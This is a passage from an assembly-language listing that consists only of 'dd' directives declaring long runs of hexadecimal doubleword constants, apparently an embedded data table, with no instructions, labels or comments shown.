1ED530F7h, 0E3EC0F4Ch, 933BDD02h, 5018E902h, 0C0350299h dd 251E2213h, 4016A4C0h, 6809CDF4h, 0F2313CD8h, 64E92FCEh dd 0F767A429h, 4D97E895h, 0A45E3C2Ah, 5A9AD9FBh, 52C9200Ch dd 0B13F7968h, 11116A28h, 84825BA9h, 2D0CC80Fh, 37DA1F01h dd 0B6C5177Dh, 0E9D50F21h, 0BCA3B738h, 0CC4AEA3Eh, 0A241119Eh dd 2B4E9D6Bh, 4FA3D64h, 2ABB0E8h, 8EEFC147h, 0ECD066A2h dd 29FD5EB1h, 84043C8Fh, 53E884E9h, 1D814F12h, 40AB1617h dd 47E11B94h, 68D2013Fh, 6DC19BFh, 0E141F605h, 1E45A744h dd 5A4EB7A7h, 2DA8CD54h, 42094D00h, 56D80127h, 0DF08AABEh dd 409D8401h, 15D5E214h, 57E984E3h, 93A8A814h, 7EB52DC4h dd 30582BFAh, 59B5217Eh, 0F5074D0Bh, 51C72EE9h, 4F237243h dd 1163A837h, 726B637Bh, 51B64700h, 0D046B0Ah, 83B5C91h dd 11A612C0h, 0FCFE4EFCh, 0C7891752h, 0D451F48Ah, 0B9ABDB01h dd 44052E32h dd 813C5310h, 0A5EC7B1Fh, 8188F478h, 967ACEC1h, 4E1D42Bh dd 0DD8AF0F3h, 193F71Bh, 0BF33C1D6h, 20F81265h, 91D1FC6h dd 83CC0BD7h, 2E5E5B29h, 0BA525F00h, 31D66CB7h, 4B242903h dd 107922E7h, 680BDBB1h, 70305198h, 7E82748Fh, 0AF8D883Ch dd 14BCBF01h, 0A7206932h, 785B81FDh, 2CC41338h, 0C8C479A8h dd 0BB63D4C5h, 37CA0445h, 666C8EAEh, 1C4F9D62h, 359EE80h dd 0CFB151FEh, 0EE29C9C1h, 8F5D848Fh, 0C149D9F6h, 59CED281h dd 2DF0C15Bh, 0BEB85A66h, 7E08E9E1h, 35EA7512h, 0ABBF5294h dd 2FE9CF78h, 193289F1h, 0AA6C44A2h, 3E8A45D7h, 28E710h dd 2D6CC4B8h, 0BD8F708h, 4806E0C1h, 12F52304h, 40EA29AFh dd 0B51E520Eh, 0CD0F7E7Ch, 0AD636F8h, 8400964Dh, 0E90A1071h dd 59E64016h, 5BFE2813h, 4E83008h, 0AECDF181h, 0E6E88AC5h dd 1D16C011h, 0C8B6DC3h, 65FCD432h, 4035CE52h, 29245C7Fh dd 0BF03DAC3h, 1C65EC15h, 1369C948h, 28C6BC4Eh, 0D5B608EBh dd 0A5D1C03h, 0CCC0EF2Fh, 90134005h, 20BF0C63h, 7E72307Ch dd 0FB116739h, 0BA1554Dh, 855AD309h, 0A052A2D0h, 0C2D467FBh dd 0AC017E1Dh, 7202D04h, 0FF79B5F8h, 56118831h, 0FFD831DCh dd 283EA5C1h, 0BD406717h, 0B6BB0353h, 4B2BD50Eh, 7A183C09h dd 86C026Ch, 535F03B8h, 83B7FA3Dh, 0CE8105ECh, 46DF8976h dd 193EEED8h, 0C3F6B60h, 780BD518h, 6EA50446h, 64C073F7h dd 76AA3953h, 2D5EF235h, 61709502h, 0CEFA782Fh, 0EB8325A0h dd 0DE74C232h, 0B4B3DA96h, 2E0AE909h, 5D7A1BFAh, 17FF50Bh dd 110E05DEh, 4A245CEDh, 3DAEBD95h, 17351CFAh, 59FC4CCBh dd 0BF40B686h, 620698ADh, 487F779h, 7A9798D7h, 20762499h dd 843E0465h, 41B6EC52h, 2CD06007h, 16EE77C0h, 0EC5AF728h dd 5C9379EFh, 0F91986C7h, 70828A5Bh, 483756Fh, 0D0015D46h dd 424AEE05h, 0D2093F5Ah, 491E610Ch, 0FDB20DF2h, 38B100CAh dd 13059F88h, 88A2C7h, 2DC02645h, 0FC55DAF7h, 7F3441EEh dd 4622B989h, 0F820F912h, 0A00197A9h, 75A927D7h, 90EFE03Eh dd 0FB307E41h, 62269183h, 3DD9BADCh, 43FB2D92h, 0ED36856h dd 0EFFB2735h, 0A84E8AACh, 0E5E330Dh, 3B30C1CAh, 8EB502Fh dd 51350C61h, 265FCDADh, 21F24A08h, 4C71BF10h, 0E68C102Dh dd 41D49E50h, 13B67C19h, 3CE8F242h, 0E8F90189h, 2400469h dd 0DB68E942h, 8842BFD4h, 0E08FC1EAh, 8321882Bh, 2FD0EC5Ch dd 0D55742C8h, 0A3E246B3h, 50042356h, 7EA37B4h, 0D2E328E6h dd 0C4D27DB2h, 252D5D78h, 4AA72D8Ch, 0D6010602h, 0FD9B40C6h dd 295A0E1Fh, 0F5C0C7B0h, 9734D32Eh, 0E318B962h, 82B6F1ACh dd 76756856h, 0E979147Ch, 0A264F7E1h, 79501E8Eh, 0AEEA4148h dd 822C5255h, 15307B7Ch, 3391807Ch, 0B0A1CC28h, 0BB03F154h dd 0B1243B8h, 46DF3125h, 343CC18Bh, 6B79CA27h, 88056D81h dd 0E28447Bh, 93CCBB8Bh, 639DF417h, 7BF2FFB9h, 0ED265FC9h dd 172C6D96h, 6FA97EF3h, 3AF30C2Dh, 9797680Fh, 0A34FC2E6h dd 9CE98249h, 1F9C7FE0h, 6646681Ah, 30A28927h, 9D121137h dd 104E3E4Eh, 707AED44h, 9B4E1116h, 5DEC7D05h, 0FD20EF46h dd 5A828EB3h, 4F19F21Fh, 0AF57AFCh, 1F295168h, 0D6EF93F7h dd 0CF9C0CC3h, 0D12520A1h, 0D7964C32h, 0FC546BFh, 66707B20h dd 898617BCh, 7B43E21h, 2D94187h, 0B0B01A7h, 41C6C1A7h dd 0EEBBBBC7h, 69BD0222h, 89FE1AC0h, 81118F40h, 0DC5F3180h dd 0EF7CE080h, 8E00AF91h, 298C6F77h, 0A9BCFAF2h, 4AD84BE0h dd 51E0BE9Ch, 2E0B2AEBh, 5C1FB5Eh, 0E2D2315Bh, 4F6D952Ch dd 25FB89D4h, 0DC023594h, 680450D5h, 4B7A09A7h, 52588DA3h dd 58E90705h, 0B0923576h, 4C2D68E7h, 15EC72Fh, 4203C5C2h dd 100C820Fh, 75744350h, 80D0C6Ah, 5B14060Ch, 21FEE913h dd 9A8704F4h, 4FCA09C3h, 9ED53788h, 59ED947Eh, 67FAE6F9h dd 50E7FC09h, 8A0C569Bh, 895C3182h, 8D86ABB0h, 0D8B04D2Eh dd 547C4492h, 51D826D6h, 5EF7C3C4h, 0B225D801h, 881F97Ah dd 5B136EFBh, 0CB7D9D0Ah, 0C0D7B760h, 310573E7h, 60602EFh dd 600FE580h, 6812138Bh, 0BB8C38C5h, 5C340A8h, 0F163209h dd 0D0B9E252h, 4499900Eh, 7638ED98h, 0E610AE23h, 42DFE5AFh dd 205D0F19h, 55419111h, 4EDBF65Ah, 5E04E215h, 29C4DAD7h dd 55F7C292h, 0B98C008h, 39804515h, 191A7A87h, 71D518D0h dd 0F2316D02h, 74D6895Eh, 0AE216470h, 0ABCCF205h, 0B32AA08Bh dd 89FAA0DAh, 0CA23C09Ah, 6AE24184h, 28A0E2B0h, 0EF05E5E1h dd 7F63E9FAh, 58C16891h, 4C53A23Ah, 0C7A2011Bh, 0CF018A1Eh dd 0AB7815F5h, 253DB801h, 3B296214h, 3BE2B8C0h, 6B952851h dd 18930B85h, 0FDFC5327h, 0E9D18939h, 8051E0D3h, 0B14304F4h dd 0D9E12872h, 911B4118h, 426402CAh, 46896016h, 0A50896A6h dd 6DECEB82h, 9FD26A0Ch, 0C3652F8Fh, 0F135FEEBh, 0FC6F5CEBh dd 0C88529FFh, 9C74996h, 27BC02A5h, 8EEDD503h, 2F7E9627h dd 0CA11C209h, 42C43B53h, 0AA2A05EAh, 0BB508CF6h, 0C214DD13h dd 0FBD29D04h, 759A8218h, 0D445B32Dh, 670C00CFh, 0D9E9645Ch dd 0D0A6064Eh, 0B9C2772Dh, 279F657Fh, 76CBB35Eh, 1A528010h dd 0BD553569h, 290D4E62h, 78F9C1EEh, 0D040A853h, 1F50479Eh dd 7AC10149h, 0C680B35Ch, 7FAF5EBCh, 298D69BDh, 0A02F37AFh dd 86953B2Dh, 0D1F7023Ah, 0B407500Ah, 14F22F1Dh, 189D647Ah dd 580F66B7h, 0FE857CA3h, 0AB6C016Ch, 38BD6D39h, 0FC0925E2h dd 3F94CCCEh, 0A6F8413Dh, 0A3254A31h, 85CBE9D0h, 48E162C8h dd 0EEC0BA72h, 0F4B62A96h, 0F7E993FAh, 0B029AEF4h, 3FFB0CA7h dd 96E6E98Fh, 0B64FE1F7h, 6DCD1753h, 58E0C5E8h, 0D09DEF80h dd 254F76E2h, 635C0DE6h, 0BE9CE02h, 48FBE6FAh, 325585Bh dd 3490EACFh, 8A4A0138h, 0D0E71638h, 514AD560h, 29492F9Ah dd 0E405565Ah, 3179A266h, 0EFD053EAh, 0C06A1779h, 7C873ACAh dd 0D220B3B0h, 1409DEAh, 292512EBh, 0C966FC55h, 0C815BB85h dd 14519A41h, 0B902EF06h, 0EB80D6B0h, 0EBA2F259h, 8D7F8571h dd 0C9913E8Dh, 0D59D9A5Ah, 0DBA2A7D1h, 4D77AC68h, 68538EEAh dd 0E530AF56h, 95F11FE9h, 17DF06E8h, 0F4621AB6h, 428AFCCh dd 72FE97C5h, 5CD87C8Dh, 1EFD4A20h, 5C6CEA80h, 2CD00E29h dd 0D8005A8Eh, 6856B353h, 2604964Ah, 3A9186E9h, 0BD20EF29h dd 525982A7h, 9DDA5C94h, 8C0571B0h, 6952050Ah, 22DF801h dd 0C298E907h, 5A2F22D7h, 62BB5C1Ah, 0B8007F66h, 196F46D5h dd 0B8442963h, 9E60C658h, 0CA4F5B8Ah, 2D4F9002h, 0A8366042h dd 21C18128h, 412F6137h, 0F96DA1A4h, 5E0E3B2Ah, 0A2B43749h dd 0A85B1DCEh, 17F1813Ch, 6C4E8204h, 307C5814h, 405A5E05h dd 496E79C4h, 0BE374FE5h, 0A9F062B9h, 0A1391E7Ah, 31068439h dd 1FAB5BDAh, 48F6100Eh, 40097C63h, 466593h, 90B711D8h dd 2FFF906Ah, 0BAE0B9E9h, 8DEE2B88h, 5D5E249Ah, 18C7DF47h dd 3A478503h, 91185C4Ah, 0A050484Fh, 6D48A12Eh, 21FBA7B9h dd 6EF1E910h, 5A16323Ah, 6817B458h, 47CC2888h, 64C450A8h dd 36180527h, 0AB5C2906h, 0E9D2F049h, 30020C04h, 67105D63h dd 0BA2DE73Fh, 12ED77Ah, 190925D5h, 19A55CFh, 0B1838690h dd 442582B1h, 25D298B7h, 0F24EEAA2h, 8996D997h, 5BB85450h dd 6182D019h, 166A385Ch, 43DBE9Fh, 6A2B7A60h, 81DC1B1Bh dd 0B1515BD8h, 121D2FFEh dd 0A3EC80C3h, 8AB0B853h, 0C6883952h, 416FD350h, 2AF059FDh dd 6C85182Dh, 0F265B668h, 96FC418h, 0E818C6EDh, 0A0EAF182h dd 4FD57D26h, 7DDF6209h, 24212B4h, 44EF6813h, 0B1D4E900h dd 0D3FA672Fh, 20F72AFh, 0B8886410h, 0DA5E2259h, 94108F62h dd 4020B69h, 1026E4Ah, 4C1277EAh, 898801D5h, 7ADB25h, 38450514h dd 0E92D3A52h, 0D23682F9h, 3293C82Ch, 0F180809Dh, 8D18E0F5h dd 0A003529Ah, 81302166h, 79F41DE7h, 84EF8762h, 0D801A614h dd 6126CD0Ch, 0B03B0C44h, 0F89C5BBAh, 86FC5B2Eh, 0B08CBFA4h dd 0D3880653h, 6ECEE2E9h, 8CDB2058h, 3966E323h, 587D001h dd 835A2725h, 2DD8D829h, 3AFF3020h, 8716B8F7h, 0A27C64D0h dd 1F88C542h, 0EBD0ABEDh, 525357B0h, 52CBA00h, 0E94A0816h dd 55E8B5CCh, 104EE8C1h, 8711B9B8h, 6148D71h, 0D80AC702h dd 0A268139Ah, 0A6D68C1Dh, 0EED4B454h, 0BA338D0Eh, 0C403D23Dh dd 64E8803h, 12392D8Ah, 0D0020C51h, 0E9DA1B32h, 8C997042h dd 10E59558h, 0C113FA26h, 9559214Ah, 607EF07h, 50FE4A55h dd 591608A1h, 13A20856h, 1271A225h, 73B8F7D8h, 0CCEC2E68h dd 10961E48h, 800E87CDh, 0CB056AC1h, 6062B159h, 90B5916Fh dd 7B85087h, 108F02C5h, 305B0A68h, 0F81EF51Ch, 36F9374Bh dd 580AA873h, 0FAD04CF7h, 1322BB1Ch, 18B7003Dh, 9074C68h dd 1FB6F55Ch, 5A5282EDh, 2B424A1Eh, 61313C1Ch, 69831284h dd 76889FC2h, 8505ABE4h, 0EDB7F957h, 0B4E4F87Ah, 3D5425D9h dd 9498405Bh, 0CD7E4C30h, 2B8A0592h, 0C7EC8233h, 5F655507h dd 2ABBA540h, 2C4EA80Ch, 10D7D929h, 7E680969h, 0C986FE4Dh dd 0B4E71E55h, 96E9612Dh, 5A429367h, 0B1185BF2h, 685091C8h dd 7D3BA409h, 58167D17h, 985D053Bh, 5FECE882h, 967F82B4h dd 0DCB30EFh, 1138ED8Bh, 0CEFC6F4Bh, 8C55078h, 524059E9h dd 2DC20113h, 0D32B30B8h, 9685580h, 6E5B1C31h, 7388E3FCh dd 0ECC00081h, 79C48008h, 0C4D506CFh, 0CEEBD85Dh, 517B40A0h dd 8848E915h, 194B13A7h, 16C66ABCh, 5E98BF01h, 96C5B12h dd 9B42021Ch, 0C029455Fh, 5EE95287h, 0F284C56Bh, 0C3EB4042h dd 35742200h, 0DD41BF57h, 0E4CA598Bh, 0E53FBA51h, 30E66CF7h dd 2D5EC9BEh, 0C3131D19h, 4D0D4045h, 0F5E9FC03h, 0B8768095h dd 1FDA5862h, 1FC72948h, 4EBFB3CEh, 0B1FD8CD5h, 0EF27F87Fh dd 2531C6F3h, 868A3CDh, 8081CB60h, 0C2F96571h, 0C11E412Ah dd 0F2E41E48h, 0B756E45Fh, 0FB686465h, 2EBAA5ADh, 8083F994h dd 0E929091Ch, 39C6758Bh, 9F0D729Fh, 71B7E1F2h, 0A1E3620Eh dd 0B3BD20Ah, 0C0424A3Dh, 337B0D9Dh, 100C502Dh, 0F0173ED1h dd 5914D3CBh, 10CE3C43h, 5B35B854h, 308BF526h, 519D244Fh dd 549F165Ch, 0D31085D8h, 24413ED4h, 5B8902F7h, 1C297659h dd 6217FEE6h, 785DA2BEh, 241EBD4Fh, 0FD4FF8C2h, 0FAA66038h dd 2564163Fh, 7064FF01h, 0E007C00Bh, 64E6881Bh, 0E4145458h dd 1109EA6Ch, 92BB21Eh, 65915DE2h, 5AB1641Bh, 8135F4Eh dd 597E12A6h, 3A04B995h, 0EBFC94CDh, 0FAC44F04h, 305ED9AAh dd 0D6828F8Fh, 0AB7EDAE3h, 0B01EC68Bh, 253F4581h, 8F681157h dd 28817C06h, 0A8B54820h, 0C5F520ADh, 0B8DDE8EAh, 0B353A0B8h dd 12F498E0h, 49AEE9BFh, 0C3DE6612h, 0D1125D42h, 0AB66646Fh dd 0B9514B80h, 0B34D171Ch, 0A1181230h, 78456CD1h, 20DA4425h dd 0BA3D8FD1h, 0BC9012h, 247001B7h, 0F705EEC1h, 8F7F00BDh dd 0B5231120h, 5C171000h, 0DA95D6E5h, 59CF3854h, 0A6EF5AFDh dd 91909276h, 0C064E7E9h, 488DB97Ah, 0C17B57B1h, 3EF0F97h dd 0B0566E54h, 2C1F39F1h, 139A28B5h, 5BFDF222h, 0CEC3B81h dd 1244A66Bh, 69EF4893h, 10BD2DCAh, 0E9091D28h, 0B7C4AE29h dd 5475939Ah, 78050F2Fh, 0BC75A46h, 0C87C58FDh, 0DC13F4Dh dd 3B8F030h, 0D598053Bh, 2AF90FBFh, 74D662AAh, 28C242C8h dd 8C3AF529h, 4B972D1Ch, 0DDFDE9F7h, 3A8CC93Ah, 29BF7552h dd 540CB466h, 0F031A045h, 29815FF2h, 2A9BE9C5h, 6FB85E00h dd 907F8B31h, 0FC164B18h, 0A4F2A5A8h, 43641B14h, 344240D2h dd 0E914541Dh, 3E163EEBh, 1B87341Ch, 53B2A4ABh, 98F081Fh dd 0A27C7BE2h, 0FE02C38Fh, 49B52112h, 7996096Eh, 0C58312C0h dd 50B15180h, 3E6699B2h, 32A4CC08h, 0D192BA4Eh, 1F5B5663h dd 0EE0849ACh, 2B512C99h, 832282CAh, 0A8F28EC4h, 1C770901h dd 0B6292F5Eh, 4A674430h, 40FBC5Ah, 0B79FCF3h, 556C300h dd 90C97175h, 0F392916Ch, 26A9E23Fh, 599A4907h, 178A74CCh dd 55A28Ah, 771633D2h, 625DEA31h, 9B2A9452h, 82CBA00h dd 0E81E6DCh, 9556B2F2h, 4BEA825Dh, 40575264h, 7A115F88h dd 66315E8Eh, 58A12A27h, 3B7FE894h, 0AA428F26h, 0A090634h dd 2700F75Eh, 25A85196h, 0F367E7FEh, 0F7670E2Ch, 0F695E60h dd 304200C7h, 0F41EB09Fh, 795F0268h, 5DFA78CDh, 3FB91610h dd 11F930Ah, 82092D3h, 0E34FE916h, 0C013B0E4h, 468305E5h dd 90F41C5Dh, 3040409Fh, 6F249CC3h, 0D462DFA4h, 82AF07BFh dd 0EA435544h, 4BD4A197h, 8DE9D301h, 0E20724EFh, 0CC910255h dd 617FF854h, 8105855Eh, 4186D821h, 89F59691h, 0D3FC87F3h dd 0DD38C27Bh, 0E9A17DC3h, 0AA2BAE6Dh, 273D5B2Dh, 0FFD14C54h dd 77D24D2Eh, 0A6002ED1h, 4A900DEEh, 0C9DB4CF7h, 7E537174h dd 41E1042Fh, 80671938h, 7D3501F3h, 0D1F7341Fh, 2509CD2Ch dd 2D3671A7h, 0B927C0DAh, 6FDDD6DAh, 97253B2h, 0D8900178h dd 2A3B5873h, 350C7B14h, 8E703EC4h, 323B171Dh, 401DED64h dd 0B2B85E08h, 9D5BB540h, 7997C2D0h, 9F5E7066h, 4B290180h dd 0C1FEC59h, 0D83D2EA3h, 164B13F6h, 72DAC0AAh, 0FD0968CFh dd 47CBF8E9h, 0B050013Eh, 78A5E9EAh, 72EC4F4Ch, 2927EBA5h dd 25CB5E09h, 0DDB0E2E6h, 0E06B6B41h, 255A6F0Eh, 57136EF7h dd 35F00555h, 787EE282h, 0DFE01726h, 4975EB8Fh, 0AD2B418Fh dd 0AC07E8D3h, 552D0447h, 0BF384558h, 907DA10h, 0C6288468h dd 64BE2F40h, 53208CC6h, 0A558979Ah, 0E602A598h, 5AA15E1Eh dd 4D647746h, 1183440Ah, 0EA2DD820h, 0E991C0A2h, 9DE65E51h dd 22003ECAh, 0E926F472h, 2F479CB8h, 0CA09226Eh, 82748334h dd 681AC41h, 326DA830h, 5FF80D06h, 804B94D4h, 121618ACh dd 0BD2B0BDh, 896F9D43h, 15D02922h, 0BDEA25ADh, 2E2C384h dd 57EA68ACh, 7174E56Ch, 13805C81h, 0A230C4BAh, 60E34235h dd 2001A42Bh, 0C1404123h, 85C405E8h, 9D5EE036h, 81E9B140h dd 3C0C6649h, 0F9B902C5h, 0FC63093Bh, 28894E5Bh, 0EE55C125h dd 20F59261h, 5C581A8h, 3B430D33h, 68C8EF01h, 3A606BE1h dd 216432D9h, 0B39116BBh, 0B1168456h, 5AA18AAAh, 82B864E0h dd 0EB36F6C0h, 0FCC8E4B7h, 2D779E2Fh, 97AC0667h, 25A9133h dd 0B3556D70h, 858F0127h, 5D3C08F4h, 5EEC4C2Ah, 2888064h dd 2C4AC168h, 417AABCCh, 0E4812BCDh, 0F00DA41h, 965F5F85h dd 0B11200A4h, 0D3A5B900h, 0C7BF40F0h, 121DAC15h, 69E73D65h dd 7E8D2E57h, 0C3015D85h, 327E8E80h, 7B4078FDh, 488F62EBh dd 0F8095FDAh, 0BDC1F1B8h, 8542287Eh, 6E31BC41h, 0B1ACD42Fh dd 3FAEF91Ch, 35BCFAE5h, 0FCC29197h, 0C225C9E5h, 889ED5EEh dd 0C540A990h, 0EE29B709h, 0AE62BB04h, 70EE6432h, 888EB669h dd 5800A015h, 1CB8CD81h, 0F75C1BE1h, 0EDD004DDh, 0EB163EFEh dd 0E464557Ch dd 0CEE9D1C1h, 0F500012Dh, 68317F5Eh, 6009892Dh, 8012604h dd 5D130785h, 0E32087F8h, 0B9B72AA0h, 98F20180h, 5B3404D4h dd 0FA5E7383h, 92E10CDh, 0AB60F8B9h, 2B8E7D1h, 2AEDA40Fh dd 0DD52A937h, 50D9639Ah, 9AEF8100h, 243E6F50h, 0F9DCF29h dd 3529373Dh, 0E6A34100h, 396F6E0h, 0C8F0133Ch, 7A886188h dd 0CCFA27EFh, 53EB01D6h, 0E67A4997h, 0DF9E7BFEh, 0CDCC75D2h dd 0F51E661Ch, 0DF0122E6h, 3541595Bh, 5F1B40D4h, 4847BC60h dd 5030229h, 0FDC74A79h, 88FDA784h, 0EE164706h, 12AE69BAh dd 0FECE031Dh, 0C0C4F27Ch, 254B99CAh, 1AE6358h, 8352275h dd 623BF029h, 0E9415130h, 0A254027Eh, 52F50DEEh, 9A681209h dd 58568A2Dh, 60EEB52Eh, 720CEDE1h, 7465E02Dh, 4E08A075h dd 5C48285Fh, 92F7E913h, 0D3CB72BFh, 915E2610h, 0FE8783ACh dd 84BD7F7h, 117A9549h, 0D22FED93h, 9A755900h, 55C07DD3h dd 9E4ED5E9h, 5B68FA88h, 8FDEF927h, 0E9093065h, 0C5D4D1BFh dd 0E37A6662h, 74AAEA6Eh, 0A2F61B3Bh, 0D5865AE0h, 0E0F06BE9h dd 0EE8831E8h, 5477C76Ch, 8C63ED5Ch, 8262F65Eh, 58C5A4DEh dd 7E06A700h, 248164B7h, 1DA828E7h, 44CF8025h, 877A200Dh dd 6C541ECh, 8812DFF7h, 5FCAE400h, 5031B55Bh, 1EAB6F8h dd 2E751DC5h, 7AF634E9h, 0A2DDFDB2h, 0C85D7327h, 0F485F65h dd 0D501FE34h, 0CC15BBA4h, 0EF02C08Fh, 0E1B15108h, 0CA047FD0h dd 0C88FAC6Ch, 0E956E114h, 48772878h, 459F7533h, 0CAC02DDEh dd 26C9C903h, 16BA8150h, 5720CA47h, 355D1AE8h, 1B421112h dd 75C1CB55h, 272A130Ch, 55BB578h, 0BF1D0808h, 5AA88916h dd 430F8CD7h, 0F5F76F62h, 0AC845728h, 105ABC01h, 59167E96h dd 2439BF56h, 0DF96212Eh, 814B00D9h, 3D1001F3h, 0DD29197Dh dd 6851855Bh, 6F981279h, 53049FC1h, 102ABD51h, 7E6E169Bh dd 7E13C0ABh, 260BE673h, 465F5C0Dh, 0CA2D5CD0h, 0BF513E13h dd 18FB9B56h, 52370F7Dh, 4A13C23Ch, 4AE97F9Ch, 86C50560h dd 0C58A82E3h, 31E9E954h, 0E50101C8h, 0EF5B0306h, 77284790h dd 0F7DEC431h, 400AA1DEh, 446F96BBh, 0F1811101h, 0A303699h dd 93B28820h, 0BFD83914h, 4328FBE5h, 60C15985h, 300E680Ch dd 0CC5ABDC1h, 54F4792Dh, 0C9CDC0FEh, 5B7933EFh, 0D7CBCAF7h dd 2602BC84h, 163EC075h, 46E5EFEDh, 0F7C6AFDDh, 0BB003E9Ch dd 48327AD8h, 0F2576851h, 0E91F09F4h, 0F1D4A9BCh, 5BCF62h dd 0D105F801h, 1A71061Dh, 13682742h, 0FD9A751Bh, 3BDC561h dd 5B22F95Ch, 0E0964028h, 0E9185232h, 0E0EBB6D2h, 5FBB0553h dd 83101770h, 6D4AE509h, 0A1C502D1h, 88685900h, 29F36B4Fh dd 5C75B438h, 0E91662F8h, 5FE9C138h, 7664ED68h, 6E32CA2h dd 0BBC42808h, 0CF4B319h, 541B312Ch, 0F07CA9F2h, 523DE955h dd 9307C692h, 6F15CC5Ah, 0EEDADB80h, 550E2D95h, 0A03F9466h dd 28677BD4h, 5C82801h, 1143EB07h, 0C0F2DD59h, 94E7E8D3h dd 3A044AA1h, 71C1EB88h, 5BD1D830h, 0C38F827Ah, 85E3FD13h dd 0C2A5E912h, 79613104h, 7A87254Eh, 0A964412Dh, 0A26C5B0Eh dd 14964CFEh, 0C1DF3D9Bh, 503CD2BAh, 7D0F052Ah, 4F9AB79Ah dd 607B8839h, 0F4642DF3h, 6AE96B09h, 0CFCBDCAEh, 0EEC7C5D7h dd 0DA5C8DDAh, 25C2B32Dh, 0EF051412h, 0B9954972h, 139C8E02h dd 0D0F8F841h, 916292Ah, 7E525EF1h, 1907CC03h, 0D1C374h dd 0ADCFC115h, 62052B85h, 555A3476h, 74052FCh, 2D7A9859h dd 6CD66E97h, 0B1A77D2h, 0ED02E179h, 0F450EC97h, 9CD0B07h dd 5C4297DEh, 3529F208h, 1AC25A1Ah, 0B65A0BA3h, 54436C95h dd 5A179944h, 9E8FFDF0h, 0F9D6C089h, 0B8F84470h, 37E94AD8h dd 9412C2F4h, 2FD62C2Ch, 0B540EB6Ch, 546247F8h, 0B7EEE9Eh dd 7F8C41D6h, 1EC275DCh, 0BD4738B0h, 0B38B4197h, 748508BAh dd 0C0442705h, 2227B19Bh, 2BEEAA9h, 0AA57F9F6h, 9B45532Dh dd 19B3FE45h, 30D0F7D4h, 279530BBh, 5F6FEC6h, 81C9DF9Fh dd 0F7821059h, 216B90D2h, 5D94274Ch, 0D82C9241h, 52A42A68h dd 0A2B426A2h, 4E1380DAh, 815B3F09h, 1C44CB00h, 98E97578h dd 92309AD2h, 9668121Ch, 25DAA36Ch, 80F98107h, 9CE018E2h dd 0B255C6D8h, 872D7343h, 0AA16E748h, 0C0681507h, 0B24F2C38h dd 0BE9CBF3h, 408DFC87h, 3F86FF7h, 7EBB4CAh, 2D2F5810h dd 0F09D3AF0h, 3BCCB5E6h, 0BD7ED04h, 4AA4912h, 573141Fh dd 0C106C831h, 6679C90h, 0E77C25F1h, 22201810h, 570912F4h dd 0AB13041Ch, 542D0158h, 0CB20011Dh, 70551D0h, 5A91CB3Ah dd 0EDEC5244h, 0D4925D0Ch, 210B6C18h, 0FCA9CF0Ch, 835552E9h dd 7773CDDEh, 0B65E3B75h, 0F9EC3E89h, 0F7DE2738h, 2DE473F2h dd 0AE0AB979h, 0C28ADC7Ah, 0D4AD3962h, 4CF75AA4h, 0E0192FC0h dd 0E1AC4A49h, 0DE176A2Bh, 462F27EFh, 0C207E8EAh, 7B642AD2h dd 5610F260h, 74484C12h, 2CE1D820h, 5D3610F9h, 57FA347Dh dd 66CCEA0Ah, 10F18301h, 49CC2AB7h, 0B13416B3h, 0D71ABA84h dd 0F99CC01Bh, 9741B4E4h, 11C30F36h, 16A4DC66h, 6E252BBCh dd 0CA6F4BD7h, 6FED7C27h, 81D82EF2h, 0A92FAEB9h, 23D3C016h dd 37122671h, 634902CDh, 967C39B6h, 0C920C040h, 2CF2984Fh dd 6B06177Bh, 77B82602h, 2956DC6h, 0D4C47E55h, 0EB31E23Ah dd 3411E060h, 0CCE021AAh, 642E61F2h, 4F30B538h, 3D5AC580h dd 0D012EC30h, 0CA34EA6Dh, 0C2F49AF8h, 0BCA9298Ch, 0C9E89E54h dd 0BF70F607h, 9186851h, 0E65F306Fh, 77177C19h, 0AEF971E9h dd 0D210ED5Bh, 0E4754BEBh, 0E9357981h, 796683Bh, 6258EABFh dd 54960580h, 0D2074CE5h, 43FE114Fh, 0FA960C95h, 58095D67h dd 0E65495DFh, 1092AEC4h, 4260C259h, 90088E10h, 0CA103448h dd 354A5C8Eh, 2F990DACh, 0DD92E9BFh, 4C718BCEh, 0C0A786Fh dd 0C9483BAFh, 721DE503h, 12260456h, 0FACF7B4Bh, 50518F80h dd 5CA0468h, 0BA586099h, 0F4E96C80h, 825181F1h, 590DAE40h dd 0BA116026h, 65720E17h, 27536CE9h, 0CB6E7156h, 6E47EDBCh dd 0EBE3DD41h, 4521A031h, 242684F8h, 28527A5h, 33EC7A7Ch dd 11907DF8h, 9C667E1Fh, 0FC0DE82Dh, 1732409h, 387203D6h dd 18010C8Ah, 0CF1BB3DBh, 0C974D1E9h, 0B70F025Ch, 55F768C8h dd 70982EC8h, 637DD381h, 0BFDB0B13h, 0E3974A37h, 45F7FC69h dd 7B08BAC6h, 0E51A8820h, 60EC8712h, 2810F00Bh, 41E602DDh dd 9F8846C9h, 0CDF5616h, 0E47CF425h, 180EE65Ch, 0C69CC885h dd 5828255h, 3105A471h, 2A05CF00h, 0FAF4BED0h, 861BCC13h dd 9AF9F644h, 5855FE0Bh, 0CF5B2C11h, 0D33CB89Ah, 0A709CE2Dh dd 296435D6h, 0FD5EE0A8h, 70E9A1E2h, 5ED3C22Eh, 0FEAB947Dh dd 0B2715B76h, 605396E1h, 0E0880A09h, 0B9FF6609h, 68531FC7h dd 9DA0045h, 28BE74E2h, 8B4E1DF6h, 7FF18213h, 30B72C2Bh dd 152F24A1h, 50D3CFEBh, 0A8B00E61h, 62CBD19Dh, 0E625BCC9h dd 0AF2BB804h, 1B326807h, 507FC8E6h, 9733341h, 7298BE61h dd 48E7645Bh, 0ACE7B18h, 2069140Ch, 0A60C7E78h, 0D949D76Ch dd 5AE0B729h, 3D2F2196h, 5F394A2Dh, 0CCB73A3Eh, 0F4B382DBh dd 54AD084Eh, 0A857580Ch, 806C40DCh, 0FDD8EA28h, 0EBEE5A71h dd 0AF06EF64h, 7BD76BE5h, 5AE91806h, 0D83034A5h, 6480F1BFh dd 0F6EB81B0h, 0E0E37BBAh, 232966C5h, 930364CBh, 0AB7AACBDh dd 0CA0DD239h, 9B2DDEBh, 0DB6CF05Ch, 4123A131h, 52A1A615h dd 6AC25B9Fh, 234DC881h dd 0D6527AA8h, 6C0A640Eh, 9B72E9ABh, 0FEAC18B7h, 0AF638278h dd 68287B27h, 4B996882h, 0A57CBC77h, 0E9F99CABh, 8B61152Eh dd 0BDC57CA7h, 0D15EFB15h, 0E682F74h, 539344F1h, 1141BFC0h dd 0E97D127Ah, 0EA0385E4h, 87F9E41Fh, 23BB1933h, 0F76FE06Fh dd 0C051E444h, 3C02E0FDh, 35505869h, 0BE025906h, 1CCE19C5h dd 0E6005F31h, 7DA2E9F0h, 